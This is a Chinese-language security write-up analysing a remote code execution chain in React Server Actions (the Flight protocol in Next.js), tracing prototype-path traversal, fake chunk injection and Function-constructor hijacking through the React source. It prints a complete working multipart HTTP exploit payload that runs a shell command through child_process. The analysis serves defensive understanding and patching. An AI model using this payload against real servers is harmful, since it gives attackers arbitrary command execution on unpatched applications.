Next.js Server Actions RCE 漏洞分析
摘要
本文档深入分析了 React Flight 协议(React Server Actions 的底层协议)中的一个远程代码执行 (RCE) 漏洞。该利用链串联了三个关键漏洞:
- 引用解析中的未过滤路径遍历 (可访问
__proto__和constructor)。 - 伪造 Chunk 注入 ------ 将精心构造的对象伪装成内部 Chunk 对象处理。
- Function 构造函数注入 ------ 将
_formData.get方法替换为Function构造函数。
目录
- [React Server Actions 简介](#React Server Actions 简介 "#react-server-actions-%E7%AE%80%E4%BB%8B")
- [React Flight 协议](#React Flight 协议 "#react-flight-%E5%8D%8F%E8%AE%AE")
- [Payload 反序列化深度解析](#Payload 反序列化深度解析 "#payload-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90")
- [Payload 详情](#Payload 详情 "#payload-%E8%AF%A6%E6%83%85")
- 详细代码路径分析
- 漏洞利用流程可视化
- 根因总结
React Server Actions 简介
什么是 Server Actions?
React Server Actions 是 React 18 引入并完全集成在 Next.js 13+ App Router 中的一项功能。它允许开发者定义服务端函数,并在客户端组件中直接调用,而无需显式创建 API 路由。
jsx
// app/actions.js
'use server'
export async function submitForm(formData) {
const name = formData.get('name')
await db.users.create({ name })
return { success: true }
}
jsx
// app/page.jsx
import { submitForm } from './actions'
export default function Page() {
return (
<form action={submitForm}>
<input name="name" />
<button type="submit">Submit</button>
</form>
)
}
Server Actions 的工作原理
当 Server Action 被调用时:
vbscript
┌─────────────────────────────────────────────────────────────────────────────┐
│ SERVER ACTION 流程 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 客户端 (Client) 网络 (Network) 服务端 (Server) │
│ ────── ─────── ────── │
│ │
│ 1. 用户提交表单 │
│ │ │
│ ▼ │
│ 2. React 使用 Flight │
│ 协议序列化参数 POST / │
│ multipart/form-data 3. Next.js 接收 │
│ ─────────────────────────────► Next-Action: <id> 请求 │
│ │ │
│ ▼ │
│ 4. 使用 Flight │
│ 反序列化参数 │
│ │ │
│ ▼ │
│ 5. 执行 │
│ 7. React 根据结果 ◄───────────────────────────── Server Action │
│ 更新 UI Flight 编码的响应 │ │
│ ▼ │
│ 6. 序列化返回值 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Next-Action 标头
当调用 Server Action 时,Next.js 会发送一个带有特殊标头的 POST 请求:
http
POST /page HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: 1234567890abcdef ← Server Action 标识符
Next-Router-State-Tree: ... ← 客户端路由状态
Next-Action 标头告知服务器执行哪个已注册的函数。请求体包含序列化后的参数。
React Flight 协议
概述
Flight 协议 是 React 的自定义序列化格式,用于在服务端和客户端之间传输 React 组件树和数据。它旨在处理:
- React 元素和组件
- Promise 和异步数据
- 循环引用
- 二进制数据 (Blobs, TypedArrays)
- 服务端引用 (在服务端运行的函数)
Flight 协议架构
scss
┌─────────────────────────────────────────────────────────────────────────────┐
│ FLIGHT 协议层级 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 应用层 (Application Layer) │ │
│ │ Server Actions, React Server Components, 数据获取 │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 序列化层 (Serialization Layer) │ │
│ │ │ │
│ │ ReactFlightServer.js (服务端 → 客户端 编码) │ │
│ │ ReactFlightClient.js (客户端 → 服务端 解码) │ │
│ │ ReactFlightReplyServer.js (客户端 → 服务端 回复解码) ← 漏洞所在 │ │
│ │ ReactFlightReplyClient.js (服务端 → 客户端 回复编码) │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 传输层 (Transport Layer) │ │
│ │ multipart/form-data, ReadableStream, fetch() │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Flight 引用类型
Flight 协议使用 $ 前缀的字符串 来编码纯 JSON 无法表示的特殊值:
| 前缀 | 类型 | 示例 | 描述 |
|---|---|---|---|
$$ |
转义 $ |
"$$hello" → "$hello" |
以 $ 开头的字面量字符串 |
$@ |
Promise/Chunk | "$@0" |
引用 Chunk ID 0 |
$F |
服务端引用 | "$F0" |
服务端函数引用 |
$T |
临时引用 | "$T" |
不透明的临时引用 |
$Q |
Map | "$Q0" |
位于 Chunk 0 的 Map 对象 |
$W |
Set | "$W0" |
位于 Chunk 0 的 Set 对象 |
$K |
FormData | "$K0" |
位于 Chunk 0 的 FormData |
$B |
Blob | "$B0" |
位于 Chunk 0 的 Blob |
$n |
BigInt | "$n123" |
BigInt 值 |
$D |
Date | "$D2024-01-01" |
Date 对象 |
$N |
NaN | "$N" |
NaN 值 |
$I |
Infinity | "$I" |
无穷大 |
$- |
-Infinity/-0 | "$-I" 或 "$-0" |
负无穷或负零 |
$u |
undefined | "$u" |
undefined 值 |
$R |
ReadableStream | "$R0" |
ReadableStream |
$0-9a-f |
Chunk 引用 | "$1", "$a" |
通过十六进制 ID 引用 Chunk |
基于 Chunk 的架构
Flight 将数据组织成 Chunks (块) ------ 可以相互引用的离散单元:
css
┌────────────────────────────────────────────────────────────────────────────┐
│ CHUNK 结构 │
├────────────────────────────────────────────────────────────────────────────┤
│ │
│ FormData 字段: │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ Field "0": '{"name": "John", "ref": "$1"}' ← Chunk 0 │ │
│ │ Field "1": '{"address": "123 Main St"}' ← Chunk 1 │ │
│ │ Field "2": '"$@0"' ← Chunk 2 │ │
│ └──────────────────────────────────────────────────────────────────┘ │
│ │
│ 解析结果: │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ Chunk 0: {name: "John", ref: → Chunk 1} │ │
│ │ Chunk 1: {address: "123 Main St"} │ │
│ │ Chunk 2: Promise<Chunk 0> │ │
│ └──────────────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────────────────┘
Chunk 对象(内部实现)
在 React 内部,Chunk 被表示为具有类似 Promise 行为的对象:
javascript
// 摘自 ReactFlightReplyServer.js (118-123行)
function Chunk(status, value, reason, response) {
this.status = status; // 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected'
this.value = value; // 实际数据或挂起的监听器
this.reason = reason; // 错误原因或 Chunk ID
this._response = response; // 父级 Response 对象
}
// Chunks 继承自 Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) { /* ... */ };
基于路径的引用(漏洞点)
Flight 支持使用冒号分隔的路径进行嵌套属性访问:
bash
"$0:users:0:name"
│ │ │ │
│ │ │ └── 属性 "name"
│ │ └───── 数组索引 0
│ └────────── 属性 "users"
└───────────── Chunk ID 0
解析过程:
javascript
// 摘自 getOutlinedModel() - 602-616行
const path = reference.split(':'); // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16); // 0
const chunk = getChunk(response, id);
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 遍历: value["users"]["0"]["name"]
}
🔴 漏洞所在: 对属性名称没有任何验证,允许:
$0:__proto__:then- 访问原型链$0:constructor:constructor- 访问 Function 构造函数
Payload 反序列化深度解析
本节将逐步追踪恶意 Payload 是如何被反序列化的。 点击查看详细的代码路径分析。
步骤 1: 接收 HTTP 请求
http
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model",...}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary
Content-Disposition: form-data; name="2"
[]
------Boundary--
步骤 2: FormData 解析
Next.js 将 multipart body 解析为 FormData 对象:
javascript
// 概念性表示
formData = {
"0": '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{...}}',
"1": '"$@0"',
"2": '[]'
}
步骤 3: Response 对象创建
javascript
// ReactFlightActionServer.js:62-67
const actionResponse = createResponse(
serverManifest,
formFieldPrefix, // 例如 "" 或 "$ACTION_0:"
undefined, // temporaryReferences
body, // FormData
);
// 创建 Response 对象 (ReactFlightReplyServer.js:1091-1108)
response = {
_bundlerConfig: serverManifest,
_prefix: formFieldPrefix, // 用于在 FormData 中查找 Chunk
_formData: body, // 原始 FormData
_chunks: new Map(), // 解析后的 Chunk 缓存
_closed: false,
_temporaryReferences: undefined,
}
步骤 4: 获取 Root Chunk
javascript
// ReactFlightActionServer.js:69-72
const refPromise = getRoot(actionResponse);
// getRoot 返回 chunk 0 (ReactFlightReplyServer.js:177-180)
function getRoot(response) {
const chunk = getChunk(response, 0); // 获取 ID 为 0 的 Chunk
return chunk; // 作为 Thenable 返回 (具有 .then 方法)
}
步骤 5: 从 FormData 查找 Chunk
javascript
// getChunk (ReactFlightReplyServer.js:518-540)
function getChunk(response, id) {
const chunks = response._chunks;
let chunk = chunks.get(id);
if (!chunk) {
const prefix = response._prefix;
const key = prefix + id; // "" + "0" = "0"
const backingEntry = response._formData.get(key); // 获取字段 "0"
if (backingEntry != null) {
// 从 JSON 字符串创建 Chunk
chunk = createResolvedModelChunk(response, backingEntry, id);
// chunk.status = 'resolved_model'
// chunk.value = '{"then":"$1:__proto__:then",...}'
// chunk._response = response
}
chunks.set(id, chunk);
}
return chunk;
}
步骤 6: 通过 .then() 强制解析
javascript
// ReactFlightActionServer.js:75
refPromise.then(() => {}); // 触发 Chunk.prototype.then
步骤 7: Chunk.prototype.then 执行
javascript
// ReactFlightReplyServer.js:127-165
Chunk.prototype.then = function(resolve, reject) {
const chunk = this;
switch (chunk.status) {
case 'resolved_model': // 我们的 Chunk 匹配这个状态!
initializeModelChunk(chunk); // 解析 JSON
break;
}
switch (chunk.status) {
case 'fulfilled':
resolve(chunk.value); // 返回解析后的值
break;
}
}
步骤 8: Model 初始化 (JSON 解析)
javascript
// initializeModelChunk (ReactFlightReplyServer.js:446-501)
function initializeModelChunk(chunk) {
const resolvedModel = chunk.value;
// = '{"then":"$1:__proto__:then","status":"resolved_model",...}'
const rawModel = JSON.parse(resolvedModel);
// = {then: "$1:__proto__:then", status: "resolved_model", ...}
const value = reviveModel(
chunk._response, // Response 对象
{'': rawModel}, // 包装对象
'', // Key
rawModel, // 解析后的 JSON
rootReference // 引用路径
);
}
步骤 9: 递归还原 (处理属性)
javascript
// reviveModel (ReactFlightReplyServer.js:386-442)
function reviveModel(response, parentObj, parentKey, value, reference) {
if (typeof value === 'string') {
// 处理 $ 前缀的特殊值
return parseModelString(response, parentObj, parentKey, value, reference);
}
if (typeof value === 'object' && value !== null) {
// 递归处理所有属性
for (const key in value) {
const newValue = reviveModel(
response, value, key, value[key], childRef
);
value[key] = newValue; // 替换为解析后的值
}
}
return value;
}
步骤 10: 处理 $1:__proto__:then
当还原值为 "$1:__proto__:then" 的 then 属性时:
javascript
// parseModelString (ReactFlightReplyServer.js:916-1089)
function parseModelString(response, obj, key, value, reference) {
if (value[0] === '$') {
// ... 各种 $X 情况 ...
// 默认: 视为带路径的 Chunk 引用
const ref = value.slice(1); // "1:__proto__:then"
return getOutlinedModel(response, ref, obj, key, createModel);
}
}
步骤 11: 路径遍历 (漏洞核心)
javascript
// getOutlinedModel (ReactFlightReplyServer.js:595-638)
function getOutlinedModel(response, reference, parentObject, key, map) {
const path = reference.split(':'); // ["1", "__proto__", "then"]
const id = parseInt(path[0], 16); // 1
const chunk = getChunk(response, id); // 获取 Chunk 1
// Chunk 1 包含 "$@0" - 一个指向 Chunk 0 的引用
// 解析后,chunk1.value = chunk0 (Chunk 对象本身)
switch (chunk.status) {
case 'fulfilled':
let value = chunk.value; // Chunk 0 的 Chunk 对象
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 🔴 没有净化处理!
}
// path[1] = "__proto__" → value = Chunk.prototype
// path[2] = "then" → value = Chunk.prototype.then (FUNCTION!)
return map(response, value); // 返回 .then 函数
}
}
步骤 12: 反序列化结果
处理完毕后,Payload 对象变为:
javascript
{
then: Chunk.prototype.then, // 🔴 窃取的函数!
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
_prefix: "process.mainModule.require('child_process').execSync('say haha');",
_chunks: Map, // 来自 $Q2
_formData: {
get: Function // 🔴 FUNCTION 构造函数! (来自 $1:constructor:constructor)
}
}
}
反序列化流程图解
ini
┌─────────────────────────────────────────────────────────────────────────────┐
│ 反序列化流程 (DESERIALIZATION FLOW) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ HTTP 请求 │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ FormData 解析 │ │
│ │ "0" → '{"then":"$1:__proto__:then",...}' │ │
│ │ "1" → '"$@0"' │ │
│ │ "2" → '[]' │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ createResponse() │ │
│ │ response._formData = FormData │ │
│ │ response._chunks = Map() │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ getRoot() → getChunk(response, 0) │ │
│ │ 从字段 "0" 创建 ResolvedModelChunk │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ chunk.then(() => {}) ← 触发点 │ │
│ │ └── initializeModelChunk(chunk) │ │
│ │ └── JSON.parse(chunk.value) │ │
│ │ └── reviveModel(response, {...}, ...) │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ reviveModel() - 遍历每个属性: │ │
│ │ │ │
│ │ "then": "$1:__proto__:then" │ │
│ │ └── parseModelString() │ │
│ │ └── getOutlinedModel("1:__proto__:then") │ │
│ │ └── path = ["1", "__proto__", "then"] │ │
│ │ └── chunk1 = getChunk(1) // "$@0" → chunk0 │ │
│ │ └── value = chunk0["__proto__"]["then"] │ │
│ │ └── 返回 Chunk.prototype.then 🔴 │ │
│ │ │ │
│ │ "_formData.get": "$1:constructor:constructor" │ │
│ │ └── path = ["1", "constructor", "constructor"] │ │
│ │ └── value = Object.constructor = Function 🔴 │ │
│ │ │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ 结果: 包含以下内容的恶意对象: │ │
│ │ - then = Chunk.prototype.then (使其变为 thenable) │ │
│ │ - _response._formData.get = Function 构造函数 │ │
│ │ - _response._prefix = 恶意代码字符串 │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Payload 详情
http
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('say haha');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Payload 结构拆解
| 字段 | 值 | 目的 |
|---|---|---|
0 |
主 JSON Payload | 带有恶意 _response 的伪造 Chunk 对象 |
1 |
"$@0" |
Promise 引用,创建循环依赖 |
2 |
[] |
空数组,用于 Map 引用的占位符 |
主 Payload 对象
json
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('say haha');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
详细代码路径分析
阶段 1: 入口点
文件: packages/react-server/src/ReactFlightActionServer.js
scss
POST / → decodeAction() → decodeBoundActionMetaData()
↓
createResponse(serverManifest, formFieldPrefix, undefined, body)
↓
getRoot(actionResponse) // 返回 Chunk 0 (作为 thenable)
↓
refPromise.then(() => {}) // 第 75 行 - 强制解析
代码 (56-81 行):
javascript
function decodeBoundActionMetaData(body, serverManifest, formFieldPrefix) {
const actionResponse = createResponse(
serverManifest,
formFieldPrefix,
undefined,
body,
);
close(actionResponse);
const refPromise = getRoot(actionResponse);
// 强制初始化
refPromise.then(() => {}); // ← 触发点 (TRIGGER POINT)
if (refPromise.status !== 'fulfilled') {
throw refPromise.reason;
}
return refPromise.value;
}
在 第 75 行 ,对 Root Chunk 调用 .then(),触发了整个利用链。
阶段 2: Chunk 解析与原型链访问
文件: packages/react-server/src/ReactFlightReplyServer.js
代码 (127-143 行):
javascript
Chunk.prototype.then = function(resolve, reject) {
const chunk = this;
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk); // 第 137 行 - 触发解析
break;
}
// 初始化后状态可能已改变
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value); // 第 143 行 - 将值传递给 Promise 链
break;
// ...
}
}
当 Chunk 0(包含 Payload)被解析时:
initializeModelChunk解析 JSON。reviveModel递归处理所有属性。
阶段 3: 关键漏洞 ------ 路径遍历
文件: packages/react-server/src/ReactFlightReplyServer.js
代码 (595-616 行):
javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
const path = reference.split(':'); // "1:__proto__:then" → ["1", "__proto__", "then"]
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);
// ... chunk 初始化 ...
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 614-615 行: 没有净化处理!
}
return map(response, value);
}
}
漏洞分析
冒号分隔的路径允许访问 任何 属性,包括:
__proto__- 访问原型链constructor- 访问构造函数
这里没有任何验证来阻止危险的属性访问。
阶段 4: 窃取 Chunk.prototype.then
当 $1:__proto__:then 被解析时:
ini
$1:__proto__:then
↓
path = ["1", "__proto__", "then"]
↓
chunk1 = getChunk(response, 1) // 包含 "$@0"
↓
"$@0" 解析为 chunk0 (Chunk 对象本身)
↓
value = chunk0["__proto__"] // = Chunk.prototype (继承自 Promise.prototype)
↓
value = value["then"] // = Chunk.prototype.then 函数
结果: Payload 的 then 属性现在持有了 Chunk.prototype.then,使该 Payload 对象变为了一个 Thenable 对象。
阶段 5: 获取 Function 构造函数
当 $1:constructor:constructor 被解析时:
ini
$1:constructor:constructor
↓
path = ["1", "constructor", "constructor"]
↓
chunk1.value = chunk0 (解析后的对象)
↓
value = chunk0["constructor"] // = Object
↓
value = Object["constructor"] // = Function 构造函数
结果: _formData.get 属性变成了 Function 构造函数。
阶段 6: 伪造 Chunk 被视为真实 Chunk
文件: packages/react-server/src/ReactFlightReplyServer.js
代码 (135-137 行):
javascript
switch (chunk.status) {
case RESOLVED_MODEL: // Payload 具有 status: "resolved_model"
initializeModelChunk(chunk); // 使用 PAYLOAD 作为 "chunk" 调用!
Payload 完美地模仿了 Chunk 的结构:
| Chunk 属性 | Payload 值 | 目的 |
|---|---|---|
status |
"resolved_model" |
匹配 RESOLVED_MODEL 常量 |
value |
"{\"then\":\"$B1337\"}" |
待解析的内部 Payload |
reason |
-1 |
模仿 Chunk ID |
_response |
{...malicious...} |
注入的恶意 Response 对象 |
阶段 7: 恶意 Response 对象注入
文件: packages/react-server/src/ReactFlightReplyServer.js
代码 (446-474 行):
javascript
function initializeModelChunk(chunk) {
// ...
const resolvedModel = chunk.value; // = "{\"then\":\"$B1337\"}"
// ...
const rawModel = JSON.parse(resolvedModel);
const value = reviveModel(
chunk._response, // ← 使用伪造的 _response!
{'': rawModel},
'',
rawModel,
rootReference,
);
}
伪造的 _response 包含:
javascript
{
"_prefix": "process.mainModule.require('child_process').execSync('say haha');",
"_formData": {"get": Function} // 已经解析为 Function 构造函数!
}
关键问题: 没有验证 chunk._response 是否为合法的 Response 对象。
阶段 8: 通过 $B 引用执行代码
文件: packages/react-server/src/ReactFlightReplyServer.js
代码 (1059-1067 行):
javascript
case 'B': { // Blob 引用
const id = parseInt(value.slice(2), 16); // 0x1337 = 4919
const prefix = response._prefix; // 恶意代码字符串
const blobKey = prefix + id; // "process.mainModule...execSync('say haha');4919"
const backingEntry = response._formData.get(blobKey); // Function(blobKey)!
return backingEntry;
}
执行流程
javascript
response._formData.get(blobKey)
↓
// _formData.get 已经被替换为 Function 构造函数
Function("process.mainModule.require('child_process').execSync('say haha');4919")
↓
// 返回一个匿名函数,函数体为:
function anonymous() {
process.mainModule.require('child_process').execSync('say haha');
4919
}
阶段 9: 最终触发 ------ RCE
返回的 Function 对象变成了内部对象 {then: <Function>} 的 then 属性。
当 Promise 解析遇到这个 Thenable 对象时:
javascript
// JavaScript Promise 内部机制:
if (typeof value.then === 'function') {
value.then(resolve, reject); // 调用恶意函数!
}
调用该函数将执行:
javascript
process.mainModule.require('child_process').execSync('say haha')
🔴 RCE 达成。
漏洞利用流程可视化
javascript
┌───────────────────────────────────────────────────────────────────────┐
│ PAYLOAD 结构 │
├───────────────────────────────────────────────────────────────────────┤
│ Field "0": { │
│ "then": "$1:__proto__:then", ──────► 窃取 Chunk.prototype.then │
│ "status": "resolved_model", ──────► 模仿 Chunk │
│ "value": "{\"then\":\"$B1337\"}", ──────► 内部 Payload │
│ "_response": { │
│ "_prefix": "execSync('say haha');", ──► 待执行代码 │
│ "_formData": {"get": "$1:constructor:constructor"} ──► Function │
│ } │
│ } │
│ │
│ Field "1": "$@0" ──────► 创建指向 Field 0 的循环引用 │
│ Field "2": "[]" ──────► 空数组占位符 │
└───────────────────────────────────────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 利用链 (EXPLOITATION CHAIN) │
├─────────────────────────────────────────────────────────────────────┤
│ 1. 服务端收到带有 Next-Action 标头的 POST 请求 │
│ 2. decodeAction() → getRoot() → 调用 .then() (第 75 行) │
│ 3. $1:__proto__:then → 窃取 Chunk.prototype.then │
│ 4. $1:constructor:constructor → 获取 Function 构造函数 │
│ 5. Payload 对象变为 Thenable (拥有 .then 方法) │
│ 6. Promise 解析 Payload → 视为 Chunk 处理 → initializeModelChunk │
│ 7. 使用带有恶意 _prefix 和 _formData.get 的伪造 _response │
│ 8. $B1337 → Function("malicious code") 被调用 │
│ 9. 返回的函数被用作 .then() → 被执行 │
│ 10. RCE: process.mainModule.require('child_process').execSync() │
└─────────────────────────────────────────────────────────────────────┘
根因总结
| 位置 | 行号 | 漏洞 |
|---|---|---|
ReactFlightReplyServer.js |
614-615 | 未经净化的属性路径遍历允许访问 __proto__ 和 constructor |
ReactFlightReplyServer.js |
137 | 具有匹配 status 属性的伪造对象被当作真实 Chunk 处理 |
ReactFlightReplyServer.js |
468-474 | 使用 chunk._response 时未验证其是否为合法的 Response 对象 |
ReactFlightReplyServer.js |
1066 | 调用 _formData.get() 时未验证其是否为真实的 FormData 方法 |
免责声明
本分析仅供教育和防御性安全目的使用。提供这些信息是为了帮助理解、检测和防止此类漏洞的利用。